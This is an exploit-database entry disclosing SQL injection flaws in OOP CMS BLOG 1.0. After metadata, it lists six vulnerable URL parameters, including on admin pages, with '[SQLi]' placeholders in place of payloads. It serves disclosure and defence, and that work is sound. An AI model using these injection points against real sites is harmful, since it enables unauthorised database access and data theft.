OOP CMS BLOG 1.0 - Multiple SQL Injection

Author: Mr Winst0n
type: webapps
platform: php
port: 80.0
date_added: 2019-03-04  
date_updated: 2019-03-04  
verified: 0  
codes:   
tags: SQL Injection (SQLi)  
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comblog_fo_rup.zip  

raw file: 46482.txt  

# Exploit Title: OOP CMS BLOG 1.0 - SQL Injection
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: March 1, 2019
# Vendor Homepage: http://zsoft.com.bd/
# Software Link : https://datapacket.dl.sourceforge.net/project/php-oop-cms-blog/blog_fo_rup.zip
# Tested Version: 1.0
# Tested on: Kali linux, Windows 8.1


# PoC:

# Multiple files are vulnerable:

# http://localhost/[PATH]/search.php?search=1 [SQLi]&submit=Search
# http://localhost/[PATH]/post.php?id=17 [SQLi]
# http://localhost/[PATH]/posts.php?id=4 [SQLi]
# http://localhost/[PATH]/page.php?pageid=8 [SQLi]
# http://localhost/[PATH]/admin/viewUser.php?userid=34 [SQLi]
# http://localhost/[PATH]/admin/replayMsg.php?msgid=4 [SQLi]

# Note: Above *id values are random.